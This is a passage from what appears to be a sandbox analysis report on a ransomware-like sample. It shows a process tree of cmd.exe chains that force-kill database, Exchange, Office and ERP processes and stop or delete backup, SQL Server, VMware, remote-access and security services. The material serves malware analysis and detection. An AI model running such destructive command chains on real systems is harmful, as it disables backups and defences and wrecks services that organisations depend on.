    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM sqlagentc.exe
        5⤵
        
        PID:8180
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM ReportingServicesService.exe
        5⤵
        
        PID:5980
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Ssms.exe
        5⤵
        
        PID:8840
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM fdhost.exe
        5⤵
        
        PID:5688
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM fdlauncher.exe
        5⤵
        
        PID:8784
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM MsDtsSrvr.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:7476
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msmdsrv.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7904
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM mysql.exe
        5⤵
        
        PID:6260
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM mysqld.exe
        5⤵
        
        PID:764
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM w3wp.exe
        5⤵
        
        PID:8328
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM wsusservice.exe
        5⤵
        
        PID:3776
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM SageCSClient.exe
        5⤵
        
        PID:8324
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe
        5⤵
        
        PID:8016
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Launchpad.exe
        5⤵
        
        PID:7084
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM dbsrv12.exe
        5⤵
        
        PID:6268
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM EXCEL.EXE
        5⤵
        
        PID:9036
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM OUTLOOK.EXE
        5⤵
        
        PID:3676
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM WINWORD.EXE
        5⤵
        
        PID:6088
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM OneDrive.exe
        5⤵
        
        PID:2908
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM TaskService.exe
        5⤵
        
        PID:5912
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & net stop "MSOLAP$SHOPCONTROL9" & net stop "MSSQL$SHOPCONTROL9" & net stop "MSSQLFDLauncher$SHOPCONTROL9" & net stop "ReportServer$SHOPCONTROL9" & net stop "SQLAgent$SHOPCONTROL9" & net stop "NetBackup Client Service" & net stop "NetBackup Discovery Framework" & net stop "NetBackup Legacy Client Service" & net stop "NetBackup Legacy Network Service" & net stop "NetBackup Proxy Service" & net stop "NetBackup SAN Client Fibre Transport Service" & taskkill /IM mysqld-nt.exe /F & taskkill /IM NFVPrint.exe /F & taskkill /IM licenceserver.exe /F & taskkill /IM Launchpad.exe /F & taskkill /F /IM "FileZilla Server.exe" & taskkill /F /IM cbService.exe & taskkill /F /IM cbInterface.exe & taskkill /F /IM pvxwin32.exe & taskkill /F /IM pvxwin64.exe & taskkill /F /IM pvxcom.exe & taskkill /F /IM pvxiosvr.exe & taskkill /F /IM Sage.NA.AT_AU.SysTray.exe & taskkill /F /IM Sage.NA.AT_AU.Service.exe"
      4⤵
      PID:3680
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSOLAP$SHOPCONTROL9"
        5⤵
        
        PID:1408
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSOLAP$SHOPCONTROL9"
        6⤵
        
        PID:5704
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQL$SHOPCONTROL9"
        5⤵
        
        PID:5292
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$SHOPCONTROL9"
        6⤵
        
        PID:3676
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQLFDLauncher$SHOPCONTROL9"
        5⤵
        
        PID:5900
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLFDLauncher$SHOPCONTROL9"
        6⤵
        
        PID:6012
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "ReportServer$SHOPCONTROL9"
        5⤵
        
        PID:5176
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ReportServer$SHOPCONTROL9"
        6⤵
        
        PID:5420
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLAgent$SHOPCONTROL9"
        5⤵
        
        PID:6112
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$SHOPCONTROL9"
        6⤵
        
        PID:2344
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "NetBackup Client Service"
        5⤵
        
        PID:4372
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Client Service"
        6⤵
        
        PID:4584
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "NetBackup Discovery Framework"
        5⤵
        
        PID:4244
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Discovery Framework"
        6⤵
        
        PID:1936
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "NetBackup Legacy Client Service"
        5⤵
        
        PID:5544
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Legacy Client Service"
        6⤵
        
        PID:1072
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "NetBackup Legacy Network Service"
        5⤵
        
        PID:6852
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Legacy Network Service"
        6⤵
        
        PID:5660
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "NetBackup Proxy Service"
        5⤵
        
        PID:6644
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Proxy Service"
        6⤵
        
        PID:7848
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "NetBackup SAN Client Fibre Transport Service"
        5⤵
        
        PID:3052
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup SAN Client Fibre Transport Service"
        6⤵
        
        PID:5644
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM mysqld-nt.exe /F
        5⤵
        
        PID:5612
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM NFVPrint.exe /F
        5⤵
        
        PID:6260
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM licenceserver.exe /F
        5⤵
        
        PID:1580
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Launchpad.exe /F
        5⤵
        
        PID:1708
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM "FileZilla Server.exe"
        5⤵
        
        PID:8528
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM cbService.exe
        5⤵
        Kills process with taskkill
        
        PID:6180
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM cbInterface.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2216
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM pvxwin32.exe
        5⤵
        
        PID:6972
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM pvxwin64.exe
        5⤵
        
        PID:8276
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM pvxcom.exe
        5⤵
        
        PID:5352
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM pvxiosvr.exe
        5⤵
        
        PID:208
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Sage.NA.AT_AU.SysTray.exe
        5⤵
        
        PID:8356
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Sage.NA.AT_AU.Service.exe
        5⤵
        
        PID:7696
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & @taskkill /IM Tomcat7w.exe /F & @taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F & @taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F & @taskkill /IM Launchpad.exe /F & @taskkill /IM mpdwsvc.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete CobianBackup11 & @sc delete cbVSCService11 & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F & taskkill /F /IM store.exe & taskkill /F /IM MSExchangeMailboxReplication.exe & taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe & taskkill /F /IM MSExchangeThrottling.exe & taskkill /F /IM EdgeTransport.exe & taskkill /F /IM MSExchangeTransportLogSearch.exe & taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe & taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe & taskkill /F /IM DataCollectorSvc.exe & taskkill /F /IM Microsoft.Exchange.ServiceHost.exe & taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe & taskkill /F /IM MSExchangeMailboxAssistants.exe & taskkill /F /IM msexchangerepl.exe & taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe & taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe & taskkill /F /IM MsExchangeFDS.exe & taskkill /F /IM MSExchangeMailSubmission.exe & taskkill /F /IM MSExchangeTransport.exe & taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe"
      4⤵
      PID:1644
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Tomcat7w.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2788
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5140
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5980
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Launchpad.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4620
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM mpdwsvc.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5676
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM cbVSCService11.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3980
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM cbService.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3104
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete CobianBackup11
        5⤵
        Launches sc.exe
        
        PID:5420
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete cbVSCService11
        5⤵
        
        PID:4748
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM mysqld-nt.exe /F
        5⤵
        
        PID:9104
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F
        5⤵
        
        PID:7800
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM sqlceip.exe /F
        5⤵
        
        PID:8564
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F
        5⤵
        
        PID:8600
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM store.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8852
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM MSExchangeMailboxReplication.exe
        5⤵
        
        PID:1944
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe
        5⤵
        
        PID:8648
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM MSExchangeThrottling.exe
        5⤵
        
        PID:5728
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM EdgeTransport.exe
        5⤵
        
        PID:3468
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM MSExchangeTransportLogSearch.exe
        5⤵
        
        PID:348
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe
        5⤵
        
        PID:2032
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe
        5⤵
        
        PID:8636
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM DataCollectorSvc.exe
        5⤵
        
        PID:6784
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Microsoft.Exchange.ServiceHost.exe
        5⤵
        
        PID:4692
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe
        5⤵
        
        PID:7776
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM MSExchangeMailboxAssistants.exe
        5⤵
        
        PID:5856
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msexchangerepl.exe
        5⤵
        
        PID:6464
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe
        5⤵
        
        PID:8384
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe
        5⤵
        
        PID:9012
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM MsExchangeFDS.exe
        5⤵
        
        PID:8428
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM MSExchangeMailSubmission.exe
        5⤵
        
        PID:6176
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM MSExchangeTransport.exe
        5⤵
        
        PID:6668
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe
        5⤵
        
        PID:8656
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & @taskkill /IM DDSoftPwsTomcat9.exe /F & @taskkill /IM U8SmartClient.exe /F & @taskkill /IM U8SmartClientMonitor.exe /F & @taskkill /IM tomcat9.exe /F & @taskkill /IM SqlManagement.exe /F & @sc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai" & @taskkill /IM ReportingServicesService.exe /F & @sc delete "ReportServer$SQLEXPRESS" & @sc delete TongBackupSrv & @taskkill /IM TongBackupSrv.exe /F & @taskkill /IM UFMsgCenterService.exe /F & @taskkill /IM "Cobian.exe" /F & @taskkill /IM "SAP Business One.exe" /F & @net stop "SQLBackupAndFTP Client Service" & @taskkill /IM "SqlBak.Service.exe" /F & @net stop cbVSCService & @net stop "SAP Business One RSP Agent Service" & @net stop SAPB1iDIProxy & @net stop "SAPB1iDIProxy_Monitor" & @net stop SAPB1iEventSender & @net stop SBOClientAgent & @net stop SBODI_Server & @net stop SBOJobServiceBackEnd & @net stop SBOMail & @net stop SBOWFDataAccess & @net stop SBOWorkflowEngine"
      4⤵
      PID:3232
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM DDSoftPwsTomcat9.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5516
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM U8SmartClient.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3380
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM U8SmartClientMonitor.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5356
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM tomcat9.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2420
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SqlManagement.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2216
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "SiebelApplicationContainer_Siebel_Home_d_Siebel_sai"
        5⤵
        
        PID:5828
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ReportingServicesService.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1052
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "ReportServer$SQLEXPRESS"
        5⤵
        Launches sc.exe
        
        PID:6056
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete TongBackupSrv
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5328
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TongBackupSrv.exe /F
        5⤵
        
        PID:7144
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UFMsgCenterService.exe /F
        5⤵
        Kills process with taskkill
        
        PID:5248
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM "Cobian.exe" /F
        5⤵
        
        PID:6796
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM "SAP Business One.exe" /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6972
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLBackupAndFTP Client Service"
        5⤵
        
        PID:6900
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLBackupAndFTP Client Service"
        6⤵
        
        PID:8576
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM "SqlBak.Service.exe" /F
        5⤵
        
        PID:7664
    - - C:\Windows\SysWOW64\net.exe
        
        net stop cbVSCService
        5⤵
        
        PID:8032
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop cbVSCService
        6⤵
        
        PID:6196
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SAP Business One RSP Agent Service"
        5⤵
        
        PID:6376
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SAP Business One RSP Agent Service"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:8384
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SAPB1iDIProxy
        5⤵
        
        PID:8624
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SAPB1iDIProxy
        6⤵
        
        PID:3120
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SAPB1iDIProxy_Monitor"
        5⤵
        
        PID:1936
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SAPB1iDIProxy_Monitor"
        6⤵
        
        PID:5740
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SAPB1iEventSender
        5⤵
        
        PID:7444
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SAPB1iEventSender
        6⤵
        
        PID:8404
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SBOClientAgent
        5⤵
        
        PID:8336
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOClientAgent
        6⤵
        
        PID:5532
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SBODI_Server
        5⤵
        
        PID:9036
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBODI_Server
        6⤵
        
        PID:5124
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SBOJobServiceBackEnd
        5⤵
        
        PID:7500
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOJobServiceBackEnd
        6⤵
        
        PID:8660
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SBOMail
        5⤵
        
        PID:7432
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOMail
        6⤵
        
        PID:5416
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SBOWFDataAccess
        5⤵
        
        PID:8872
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOWFDataAccess
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:8792
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SBOWorkflowEngine
        5⤵
        
        PID:6736
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SBOWorkflowEngine
        6⤵
        
        PID:7756
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""
      4⤵
      PID:5104
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "XT800Service_Personal"
        5⤵
        
        PID:2712
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SQLSERVERAGENT
        5⤵
        
        PID:6072
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SQLWriter
        5⤵
        Launches sc.exe
        
        PID:4384
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SQLBrowser
        5⤵
        
        PID:5124
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSSQLFDLauncher
        5⤵
        Launches sc.exe
        
        PID:5684
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSSQLSERVER
        5⤵
        
        PID:5968
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete QcSoftService
        5⤵
        
        PID:3192
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSSQLServerOLAPService
        5⤵
        
        PID:5312
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete VMTools
        5⤵
        Launches sc.exe
        
        PID:5968
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete VGAuthService
        5⤵
        
        PID:5864
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSDTC
        5⤵
        Launches sc.exe
        
        PID:5364
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete TeamViewer
        5⤵
        
        PID:4620
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete ReportServer
        5⤵
        
        PID:5756
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete RabbitMQ
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5252
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "AHS SERVICE"
        5⤵
        Launches sc.exe
        
        PID:5396
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "Sense Shield Service"
        5⤵
        Launches sc.exe
        
        PID:5252
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SSMonitorService
        5⤵
        
        PID:5788
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SSSyncService
        5⤵
        Launches sc.exe
        
        PID:6480
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete TPlusStdAppService1300
        5⤵
        
        PID:8568
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSSQL$SQL2008
        5⤵
        
        PID:5972
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SQLAgent$SQL2008
        5⤵
        Launches sc.exe
        
        PID:6688
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete TPlusStdTaskService1300
        5⤵
        
        PID:7172
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete TPlusStdUpgradeService1300
        5⤵
        Launches sc.exe
        
        PID:8884
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete VirboxWebServer
        5⤵
        Launches sc.exe
        
        PID:6344
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete jhi_service
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3776
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete LMS
        5⤵
        
        PID:7544
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "FontCache3.0.0.0"
        5⤵
        
        PID:6428
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "OSP Service"
        5⤵
        
        PID:5324
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"
      4⤵
      PID:4608
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "DAService_TCP"
        5⤵
        
        PID:292
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "eCard-TTransServer"
        5⤵
        Launches sc.exe
        
        PID:3972
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete eCardMPService
        5⤵
        Launches sc.exe
        
        PID:2936
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete EnergyDataService
        5⤵
        
        PID:5656
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete UI0Detect
        5⤵
        
        PID:296
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete K3MobileService
        5⤵
        
        PID:6088
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete TCPIDDAService
        5⤵
        Launches sc.exe
        
        PID:5468
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete WebAttendServer
        5⤵
        
        PID:6076
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete UIODetect
        5⤵
        
        PID:4668
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "wanxiao-monitor"
        5⤵
        Launches sc.exe
        
        PID:5316
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete VMAuthdService
        5⤵
        
        PID:5312
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete VMUSBArbService
        5⤵
        
        PID:5960
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete VMwareHostd
        5⤵
        
        PID:5236
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete "vm-agent"
        5⤵
        
        PID:4748
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete VmAgentDaemon
        5⤵
        
        PID:2936
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete OpenSSHd
        5⤵
        
        PID:5616
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete eSightService
        5⤵
        
        PID:9144
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete apachezt
        5⤵
        
        PID:1408
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete Jenkins
        5⤵
        Launches sc.exe
        
        PID:6244
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete secbizsrv
        5⤵
        
        PID:8804
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete SQLTELEMETRY
        5⤵
        Launches sc.exe
        
        PID:6412
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSMQ
        5⤵
        Launches sc.exe
        
        PID:7928
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete smtpsvrJT
        5⤵
        Launches sc.exe
        
        PID:3640
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete zyb_sync
        5⤵
        
        PID:7476
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete 360EntHttpServer
        5⤵
        
        PID:8208
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete 360EntSvc
        5⤵
        
        PID:3880
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete 360EntClientSvc
        5⤵
        
        PID:9144
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete NFWebServer
        5⤵
        
        PID:7036
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete wampapache
        5⤵
        
        PID:7324
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete MSSEARCH
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5872
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete msftesql
        5⤵
        Launches sc.exe
        
        PID:3716
    - - C:\Windows\SysWOW64\sc.exe
        
